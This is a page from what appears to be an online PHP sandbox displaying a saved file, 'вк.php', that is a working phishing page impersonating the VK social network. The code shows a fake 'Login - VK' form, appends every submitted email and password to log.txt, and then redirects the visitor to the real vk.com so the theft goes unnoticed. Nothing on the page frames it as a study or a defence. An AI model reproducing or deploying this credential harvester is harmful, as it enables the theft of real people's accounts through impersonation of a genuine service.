вк - PHP Online

Form of PHP Sandbox

Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php in the places where the PHP script should be executed.



Your result can be seen below.

Result of php executing





Full code of вк.php

  1. <?php
  2.  
  3. if(isset($_POST['submit'])) {
  4.     $email = $_POST['email'];
  5.     $password = $_POST['password'];
  6.  
  7.     $file = fopen('log.txt', 'a');
  8.     fwrite($file, 'Email: ' . $email . ' Password: ' . $password . "\n");
  9.     fclose($file);
  10.  
  11.     header('Location: https://vk.com/');
  12.     exit();
  13. }
  14.  
  15. ?>
  16.  
  17. <!DOCTYPE html>
  18. <html>
  19. <head>
  20.     <title>Login - VK</title>
  21. </head>
  22. <body>
  23.     <form method="post" action="">
  24.         <label>Email:</label>
  25.         <input type="email" name="email" required><br><br>
  26.         <label>Password:</label>
  27.         <input type="password" name="password" required><br><br>
  28.         <input type="submit" name="submit" value="Log in">
  29.     </form>
  30. </body>
  31. </html>
  32.  
  33.  
File Description
  • вк
  • PHP Code
  • 27 Mar-2023
  • 678 Bytes
You can Share it: